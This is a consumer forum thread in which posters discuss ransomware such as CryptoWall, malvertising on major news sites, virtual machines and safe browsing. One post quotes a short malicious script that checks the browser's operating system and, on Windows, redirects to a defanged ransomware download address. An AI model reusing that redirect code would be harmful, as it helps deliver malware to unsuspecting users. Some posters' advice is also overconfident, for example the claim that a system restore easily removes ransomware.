As I understand it, no ransomware can get established without the user doing something ill-advised and stupid. Like opening a file attached to an email from an unknown sender. Or clicking on a link from a similar source. Etc.

There's the same risk with your front door of your home. If you don't know who you're letting in, you're taking a chance. Just like in real life, safe neighborhoods on the Internet are obvious and when you're not there, you're somewhere else.

I agree. But the difference with this crook is you can't get him out of the house without paying big bucks! Their code is unbreakable.

Read the article.

Jane

I did read the article before I wrote the comment. I thought the article was rather poor, almost fluffy. I didn't know the author's name, and it didn't seem a familiar one I might recognize from the Times' Science or Tech staffs.

I'm willing to bet she has little or no technical knowledge and I think it shows in this article. I left this comment out of my first post because I thought it was off topic and it was fine with me if you liked the article even though i didn't.

I agree, I found it unlike their usual science-section articles which I always like to read. She does say no one could unlock the code to free the machine. That was the reason I posted.

Jane

I run Linux, so I'm not very susceptible to this sort of malware. Cryptoware specifically checks to see what OS it's running on before executing ....

Translation of the stuff below: If it's NOT Windows, do pretend to be a Google search. If it is Windows, go to a specific address and download the ransomware.

script
var OSName=âÂÂUnknown OSâÂÂ;
if (navigator.appVersion.indexOf(âÂÂWinâÂÂ)!=-1) OSName=âÂÂWindowsâÂÂ; if (navigator.appVersion.indexOf(âÂÂMacâÂÂ)!=-1) OSName=âÂÂMacOSâÂÂ; if (navigator.appVersion.indexOf(âÂÂX11â³)!=-1) OSName=âÂÂUNIXâÂÂ; if (navigator.appVersion.indexOf(âÂÂLinuxâÂÂ)!=-1) OSName=âÂÂLinuxâÂÂ; var1=112; var2=var1;
if(OSName==âÂÂWindowsâÂÂ) (location.replace(âÂÂhxxp://206.253.165.76:8080/ord/rot.phpâÂÂ);)else(location.replace(âÂÂhttp://google.com/search?q=efaxâÂÂ);)
/script

Running Windows inside a virtual machine also seems to prevent it from attacking. The creators don't want it to get caught in a "sandbox" for analysis.

My PCs have Windows and I believe I'm not susceptible to it either.

What a shame! The ransom could be used to buy a brand new window PC.

Snidely ... Actually, that ransomware can be acquired by visiting some hacked or malicious websites, so just browsing the web can infect you.

The script I posted is web-based.

=========
Running Windows inside a virtual machine is like running it in the usual way ... although games and 3-D graphics can be iffy.

http://en.wikipedia.org/wiki/Virtual_machine
http://www.howtogeek.com/196060/beginner-geek-how-to-create-and-use-virtual-machines/

I use it so I can have Win95, XP, and 2K available for certain software and not have the various versions colliding and fighting for resources.

A PC infected with any type of ransomware should be easily fixed by running a restore or, in an extreme case (or if it blocks it), recovery/reformat and reinstall the OS.

Lazygardens, I think my comment was too subtle and so was misunderstood. I have a highly rated security system, I don't open emails from unknown senders, view attachments, or visit malicious sites. By doing so, I and equally anyone else should be able to avoid any problems from this or any other threat. I give it no thought, you can do the same in whatever way works for you.

When I first arrived here in 1998 the then senior members were preaching and begging other members not to open unsolicited e-mails, and to be informed when visiting unknown websites. Through the years ensuing members have continued this advise. For some reason there has always been members who don't find a need for the advice.

I have always subscribed to the adage, "The best protection against viruses and malware is an informed, disciplined user".

DA

I'd say "amen" to what DA said but religion has nothing to do with this (and I don't believe in it anyway). It's nothing more than common sense, something too many are lacking.

Instead, I'll say, Yee Haw and Yippie ! Do what he says!

I don't know about the common sense part, but the informed user reference I stick with.

DA

or visit malicious sites

How do you know it's malicious?

Have you ever visited a city for the first time?

You take a wrong turn or you get off a bus (or the subway) at an unknown location. Quick, can you tell if it's a safe neighborhood or a dangerous one?

I can, both in a new city and on the internet. You and everyone else can too, plus or minus. And the software I use (that everyone else has access to too) provides a backup warning when a wrong turn has been made.

Take a break from the scaremongering and solution-offering that you have no takers for.

snidely-
The newer version of some of these types of ransomware go after and destroy Restore Points, so System Restore often does not work; a reformat and reinstall is all you can do to make the computer functional again, which is another strong argument for keeping an external backup that can be disconnected from your computer when it's not necessary (some of the ransomware programs seek out all the drives they can find, and can also zap your cloud storage if it uploads automatically). Not to be alarmist, but the latest variants of this stuff are truly nasty, and resist the best efforts of even the most computer savvy.

Sindely ... you don't have to go to the bad neighborhood ... it sends hit men out to find you.

=============

http://www.proofpoint.com/threatinsight/posts/malware-in-ad-networks-infects-visitors-and-jeopardizes-brands.php

"Malvertising attacks use online advertising channels to infiltrate malware into the computers of unsuspecting users by embedding malicious code within legitimate advertisements on trusted websites. "

"Without having to click on anything, visitors to the impacted websites may be stealthily infected with the CryptoWall 2.0 ransomware. Using Adobe Flash, the malvertisements silently âÂÂpull inâ malicious exploits from the FlashPack Exploit Kit. The exploits attack a vulnerability in the end-usersâ browser and install CryptoWall 2.0 on end-usersâ computers."

Here's a partial list of known infested sites - (biased because it was an Aussie research group) - which have since been cleaned up.

Yahoo! Finance, Fantasy and Sports (yahoo.com, Global 4, US 4),
AOL (realestate.aol.com, US 37, Global 119),
The Atlantic ( theatlantic.com, US 386, Global 1,206),
9GAG (9gag.com, US 528, Global 201,),
match.com (US 203, Global 631),
The Sydney Morning Herald (www.smh.com.au, Australia 13, Global 780),
realestate.com.au (Australia 17, Global 1,656),
The Age (theage.com.au, Australia 34),
stuff.co.nz (New Zealand 9),
societe.com (France 54, Global 1,649),
Dumpert (dumpert.nl, Netherlands 24),
Flirchi (flirchi.com, India 106, Global 1,129),
Weatherzone Australia (weatherzone.com.au, Australia 111),
Brisbane Times (brisbanebrisbanetimes.com.au, Australia 183),
RSVP (rsvp.com.au, Australia 351),
The Canberra Times (canberratimes.com.au, Australia 403),
Time Out (US 1,145, Global 1,816),
The Beacon-News (beaconnews.suntimes.com, US 1,178),
Merca2.0 (merca20.com, Mexico 229),
clicccar.com (Japan 1,124),
iPhone for Hong Kong (iphone4hongkong.com, HK 112),
Noticias Argentinas (noticiasargentinas.com, Argentina 784)

LG,

Use resources available. WOT is a start. Googling the site name itself, Googling the site name with the added keyword virus, Googling the site name with the added keyword malware, and Googling the site name with the added keyword complaint are good for starters.

Its just like when you are making an on-line purchase from an unknown site for the first time. You do your homework.

DA

lazy, I hadn't heard of the malvertising approach, but it does seem like the watchdogs shut it down pretty quickly. An interesting episode.

Threat risks will become increasing creative and difficult to defeat and detect, as they have to this point in the evolution of the online world. What I know so far still doesn't and won't change my behavior or change my advice. Not yet, anyway. Risks of all kinds in life need to be managed, they can't be avoided.

If the world were to switch to all linux or all Apple operating systems overnight, the bad guys (who are very smart) would continue to find vulnerabilities and gullibilities to exploit.

Question...

Do the odds of a successful drive-by download (including installation) go down a lot by not running as administrator?

I notice that the NYT article contains two glaring and probably intentional omissions...the name of the web browser being used by the victim and the attack vector involved (was it an infected web ad or an infectious e-mail attachment?). This leaves the story of "how my mom got hacked" incomplete.

To address the browser angle: You may say it doesn't matter and that all browsers are vulnerable to some degree and you'd be right. But if the victim was using Firefox-Opera-Chrome or some other minor player in the browser wars, I'll bet our eager correspondent would be only too happy to tell us. That leaves only the main player left unmentioned...of course it is Internet Explorer.

I recently read some reviews saying that IE 11 (the latest version) is now more secure than the others mentioned above and for sake of everyone I hope that is true... but given Microsoft's track record you'll forgive me if I remain somewhat skeptical. The following is pure speculation: Not only would it not surprise me if the victim was using IE, but she was probably using an older-less secure version of it. There are still huge numbers of users who can't or won't upgrade IE and who also won't use an alternative because they are so firmly wedded to it. If that is the case here, then this victim has paid the price.

As for the possibility that the attack came thru an e-mail attachment: This is nothing less than an indictment of the sheer ignorance that many users still and always will have about how the Internet and their computers work. The hackers will always have plenty of eager victims if they can't learn not to open an attachment from an unknown sender.

Chuggerguy ... Question... Do the odds of a successful drive-by download (including installation) go down a lot by not running as administrator?

As long as the account you are using does NOT have permissions to install things, read/write files belonging to others, or mess with the files belonging to other accounts, AND IF that account is a web-browsing only account (so your data belongs to an account that is not used for web browsing) you are fairly secure.

Where this nails people is because they often have no clue whether they have admin privileges or not, or they give their user account all kinds of privileges because it's easier.